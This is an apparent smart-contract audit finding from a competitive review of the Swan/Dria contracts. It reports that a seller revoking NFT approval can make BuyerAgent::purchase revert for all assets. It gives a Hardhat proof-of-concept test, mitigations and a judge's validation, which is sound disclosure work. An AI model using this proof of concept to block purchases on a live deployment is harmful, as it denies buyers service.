Dria
Swan
NFTHardhat
21,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

The purchase of all assets for a buyer may fail in `BuyerAgent::purchase` if a malicious seller revokes Swan's approval.

ericselvig

Vulnerability Details

The purchase function in BuyerAgent is responsible for purchasing all assets for a buyer. It does so by looping through all the assets in the best response by the oracale. However, the function will fail if a malicious seller revokes approval to Swan for the assets before purchase is called, since the SwanAsset does not override ERC721 functions.

File: swan/BuyerAgent.sol
​
function purchase() external onlyAuthorized {
// code...
for (uint256 i = 0; i < assets.length; i++) {
// code...
// make the actual purchase
@> swan.purchase(asset);
}
​
// code...
}

https://github.com/Cyfrin/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/swan/BuyerAgent.sol#L251

Proof of Concept

Add this to the Swan.test.ts file:

describe("should fail to purchase assets", () => {
it("should fail to purchase assets", async function () {
// setting amount per round to 2 ether
await buyerAgent.connect(buyer).setAmountPerRound(AMOUNT_PER_ROUND);
​
// increasing time to be in the Sell Phase
await time.increase(MARKET_PARAMETERS.withdrawInterval);
const [round, phase] = await buyerAgent.getRoundPhase();
expect(round).to.equal(3n);
expect(phase).to.equal(Phase.Sell);
​
// funding tokens to buyer and seller and approving to Swan
await transferTokens(token, [
[buyer.address, parseEther("10")],
[seller.address, parseEther("10")],
]);
​
await token.connect(seller).approve(await swan.getAddress(), parseEther("10"));
​
// list assets
await listAssets(
swan,
buyerAgent,
[
[seller, PRICE1],
[seller, PRICE2],
[seller, PRICE1],
],
NAME,
SYMBOL,
DESC,
round
);
​
const assets = await swan.getListedAssets(await buyerAgent.getAddress(), round);
​
// increasing time to be in the Buy Phase
await time.increase(MARKET_PARAMETERS.sellInterval);
const [, currPhase] = await buyerAgent.getRoundPhase();
expect(currPhase).to.be.equal(Phase.Buy);
​
await buyerAgent.connect(buyer).oraclePurchaseRequest("0x", "0x");
const output = new AbiCoder().encode(["address[]"], [assets]);
const dummyScore = parseEther("0.5");
const taskId = await buyerAgent.oraclePurchaseRequests(round);
​
// respond & validate the oracle request
await safeRespond(coordinator, generator, output, "0x", taskId, 0n);
await safeValidate(coordinator, validator, [dummyScore], "0x", taskId, 0n);
​
let asset: SwanAsset;
asset = await ethers.getContractAt("SwanAsset", assets[0]);
​
// here the malicious seller revokes approval to Swan
await asset.connect(seller).setApprovalForAll(swan.getAddress(), false);
​
// This call will now fail
await expect(buyerAgent.connect(buyer).purchase()).to.be.reverted;
});
});

Impact

The buyer will not be able to purchase any asset.

Tools Used

Manual Review

Recommendations

There can be a few possible ways to mitigate this issue:

  1. Transfer the asset to Swan when the item is listed. Although this will require a change in the current architecture.

  2. Instead of purchasing all assets at once, purchase them one by one. This way, if a malicious seller revokes approval for an asset, the purchase of that asset will fail, but the purchase of other assets will succeed.

  3. Override the ERC721 functions in SwanAsset to prevent the malicious seller from revoking approval or transferring to any other address than Swan.

Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DoS in BuyerAgent::purchase

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.